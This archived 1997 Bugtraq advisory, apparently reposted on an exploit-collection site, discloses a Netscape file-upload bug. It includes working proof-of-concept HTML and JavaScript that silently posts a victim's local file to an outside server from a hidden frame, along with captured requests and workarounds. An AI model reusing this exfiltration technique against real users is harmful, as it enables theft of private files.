Netscape gives away user's files!

Summary
Description:A hole in the handling of the INPUT TYPE="FILE" tag allows a malicious website operator to download your files (if the filename is known). This apparently works on all platforms, and with Netscape up to Netscape Communicator.
Author:"Paul T. Kooros" <kooros@TITAN.SRRB.NOAA.GOV>
Compromise:Steal people's shit!
Vulnerable Systems:Clients running Netscape Communicator 4.0 and earlier, as well as netscape navigator 3.* and probably earlier. This includes the Windoze, Macintosh, and UNIX platforms.
Date:16 June 1997
Notes:This is a great advisory! Show your thanks by buying his JavaScript book! I would if JavaScript wasn't such a lame language ;).
Details


Date: Mon, 16 Jun 1997 12:02:18 -0600
From: "Paul T. Kooros" <kooros@TITAN.SRRB.NOAA.GOV>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Netscape Exploit SOLVED

Dear Bugtraq:
        Below, is what I sent to Netscape, and mainly exploits a bug
in how Netscape repopulates form data should you reload (or go back in
history to) a form which you previously filled in.  As a security measure,
<INPUT TYPE="FILE" ...> have never been initializable via a VALUE= attribute
or using JavaScript.  As a convenience measure, Netscape tries to remember
what you had typed into a form previously, and repopulate it if you should
press reload or go back in your browser history.  The bug manifests itself
when you reload a form, but change slightly the form contents.
        The form below, in the frame TopFrame, has two elements in advance
of <INPUT TYPE="FILE" ...>, a HIDDEN and a TEXT.  The TEXT is wickedly
initialized with the secret evil filename.  When the form is reloaded,
the server (via a CGI script, for example) generates a slightly different
form, minus only the HIDDEN element.
Netscape mistakenly fills in the FILE field with what was in the TEXT box.
The form is then submitted using JavaScript.
        You might note that the user sees only the bottom frame, containing
the history of shoelaces or whatever, while unbeknownst to him in a 0-size
frame, the form is loading, reloading, submitting and uploading.
        You should note, of course, that file access is with the premissions
of the user only, not with root or any other more intrusive privs.
        Testing Notes:  To see what is happening in the top frame,
just change "0,*" to "400,*" or something in the FRAMESET tag.
I'll try to come up with a CGI script which automates the form change.
Increase the timeout in the onLoad attrib to get more time to make the
change.
        barb@labyrinth.com suggested that the form might be generated
entirely using JavaScript, with the script loading the frame; I'll try it
out, but I think the reload (document.history.go(0)) won't work.

Workarounds:
------------
(1) Filter at proxy server, if you have one.  Netscape proxy server v.2.5.2
    has a filter on MIME type feature.  You can filter the MIME type required
    by the <INPUT TYPE=FILE...>, which is multipart/form-data.  Unfortunately,
    <I T=FILE> s are used by a couple of web-based Usenet News posting
    systems, which could pose an inconvenience.  This is the only solution
    I can think of which involves the administrator and does NOT involve
    individual users.  To do this, from the admin screen go to filters,
    MIME filters.  The multipart/form-data is not one of the standard
    choosable from the list, but at the top of the page, you can type in
    whatever MIME type you like; do that.  I'll try to come up with a
    patch to the CERN proxy server which does the same thing.
(2) Turn off JavaScript in Netscape.  The pop-up dialog box
    Options >> Network >> Languages has a checkbox which allows the
    user to disable JavaScript.  Java is not implicated in this problem.
    This also depends on every user :-( .  If your company has the Enterprise
    browser customize kit, and you have central serving of your browser
    executables, you can modify instances of shared executables to force
    that Options >> Network >> Languages JavaScript checkbox to be fixed
    off and read-only.
(3) One suggested workaround, setting Options >> Security >> General >>
    Security Alerts >> "Submitting a Form Insecurely", to ON.  This is really
    very weak, because if the evil server owner has a secure server
    your browser will silently and obliviously AND WITH TOTAL COMPLETE
    SECURITY send your file to the evil server.  Sheesh...
(4) Hope that noone figures this out before a patched Netscape can be
    deployed.  Considering that anyone with experience debugging web
    forms knows about severe wierdnesses of this type when forms are
    reloaded, it won't take a rocket scientist to figure it out, and
    it probably won't take too long either.  Just say no the #4.

                sincerely,
                        Paul Kooros

P.S. Please buy my JavaScript book, ISBN 0-7615-0685-3.    :-)

--------------- >8 --------------- >8 --------------- >8 ---------------
Dear Netscape:

        I hope this is the bug that was reported on your website,
otherwise its new.  I assume that it must be the one.  I knew about
the funny form initialization migration, as a web/JavaScript developer,
but never related it to the <INPUT TYPE="FILE" ...> and evil possibilities.
In any case, if its Ok with you, I was sheepishly hoping for an
opportunity to buy the bug-buster T-shirt???
        Please let me know if I can be of any assistance.

                sincerely,
                        Paul Kooros

                        kooros@Kooros.COM
                        kooros@Colorado.EDU
                        kooros@titan.SRRB.NOAA.GOV
                        (303) 694-2999
                        (303) 499-7014
                        (303) 499-2488 fax

Bug Symptom:
------------
        Malicious server can obtain any client file of known filename
Bug How-to:
-----------
(1)     Server supplied obscured (zero size, scrolling=no, noresize)
        frame source contains a form with an <INPUT TYPE="FILE"> element.

(2)     Server supplies companion non-obscured frame, which contains an
        apparently legitimate link to somewhere else.

(3)     After a brief JavaScript timeout, the obscured frame is reloaded.
        BUT this time, the server supplies a slightly different form
        source with one fewer element before the <INPUT TYPE="FILE"...>.
        This causes the initialization string from the previous element
        (a <INPUT TYPE="TEXT"> in the example below) to be scooted down
        into the FILE element filename box.

(4)     The non-obscured frame the submits the form, either as a
        JavaScript setTimeout(), or to be more sneaky, as an onClick
        action of the apparently legitimate link.  Thus the file is
        transmitted.

Below are the sample files I used to exploit the bug, followed by the HTTP
request made by the client to my bogus debug server (port 8180).  Please
note that I simulated the changed file of (3) by quickly saving out a new
copy of the obscured frame (top.html) from my editor, rather than writing
a CGI which kept state and handed out alternate versions.  (The first form
element, a HIDDEN, is "commented" out).

------------------------------------------------------------------------------
::  Main HTML file first.html
------------------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>File Upload Example</TITLE>
</HEAD>
<FRAMESET ROWS="0,*">
<FRAME NAME="TopFrame" SRC="top.html" SCROLLING="NO" NORESIZE>
<FRAME NAME="BottomFrame" SRC="bottom.html">
</FRAMESET>
</HTML>

------------------------------------------------------------------------------
::  Obscured frame (1st case) top.html
------------------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>File Upload Example</TITLE>
</HEAD>
<BODY>
<P>
<FORM ENCTYPE="multipart/form-data" ACTION="http://kooros.kooros.COM:8180/bogus" METHOD="POST">
<INPUT TYPE="HIDDEN" NAME="z" VALUE="Whatever"><BR>
Name of the file I want:
<INPUT TYPE="TEXT" NAME="Uname" VALUE="/my/secret/filename"><BR>
File:<INPUT TYPE="FILE" NAME="Fname"><BR>
Submit:<INPUT TYPE="SUBMIT" NAME="Sub" VALUE="Go"><BR>
Reset:<INPUT TYPE="RESET" NAME="Res" VALUE="Reset"><BR>
</FORM>
</BODY>
</HTML>

------------------------------------------------------------------------------
::  Obscured frame (2nd case) top.html
------------------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>File Upload Example</TITLE>
</HEAD>
<BODY>
<P>
<FORM ENCTYPE="multipart/form-data" ACTION="http://kooros.kooros.COM:8180/bogus" METHOD="POST">
<xINPUT TYPE="HIDDEN" NAME="z" VALUE="Whatever"><BR>
Name of the file I want:
<INPUT TYPE="TEXT" NAME="Uname" VALUE="/my/secret/filename"><BR>
File:<INPUT TYPE="FILE" NAME="Fname"><BR>
Submit:<INPUT TYPE="SUBMIT" NAME="Sub" VALUE="Go"><BR>
Reset:<INPUT TYPE="RESET" NAME="Res" VALUE="Reset"><BR>
</FORM>
</BODY>
</HTML>

------------------------------------------------------------------------------
::  NON-Obscured frame bottom.html
------------------------------------------------------------------------------
<HTML>
<HEAD>
<TITLE>File Upload Example</TITLE>
</HEAD>
<!-- 1000ms long enough to load initial top form? -->
<BODY onLoad="setTimeout('do_evil();', 1000);">
This is a <A HREF="http://www.yahoo.com/" TARGET="_top"
onClick="parent.frames[0].document.forms[0].submit();return true;">link</A> to somewhere legitimate.
</BODY>
</HTML>
<SCRIPT LANGUAGE="JavaScript">
function do_evil() {
        p=parent.frames[0];
        f=p.document.forms[0];
        p.history.go(0);
// Optional Evilness for automatic submission:
//      setTimeout("parent.frames[0].document.forms[0].submit();", 1000);
}
</SCRIPT>

------------------------------------------------------------------------------
::  Resulting Output from exploiting bug on Mozilla/3.01 SunOS4.1.4 UNIX:
------------------------------------------------------------------------------
POST /bogus HTTP/1.0
Referer: file:/jaz/web/fupld/top.html
Connection: Keep-Alive
User-Agent: Mozilla/3.01 (X11; I; SunOS 4.1C sun4)
Host: kooros.kooros.COM:8180
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Content-type: multipart/form-data; boundary=---------------------------8720784031874748096916896761
Content-Length: 369

-----------------------------8720784031874748096916896761
Content-Disposition: form-data; name="Uname"

/jaz/web/fupld/foofile.x
-----------------------------8720784031874748096916896761
Content-Disposition: form-data; name="Fname"; filename="foofile.x"

This is a test file
with three lines
in it.

-----------------------------8720784031874748096916896761--


------------------------------------------------------------------------------
::  Resulting Output from exploiting bug on Mozilla/3.01 Win95:
------------------------------------------------------------------------------
POST /bogus HTTP/1.0
Referer: file://Kooros/jaz/web/fupld/top.html
Proxy-Connection: Keep-Alive
Host: kooros.kooros.COM:8180
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Content-type: multipart/form-data; boundary=---------------------------2635128057161
Content-Length: 309
User-Agent: Mozilla/3.01 (Win95; I)  via proxy gateway  CERN-HTTPD/3.0 libwww/2.17

-----------------------------2635128057161
Content-Disposition: form-data; name="Uname"

C:\paul\foom
-----------------------------2635128057161
Content-Disposition: form-data; name="Fname"; filename="C:\paul\foom"

This is a secret
file of two lines.

-----------------------------2635128057161--

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: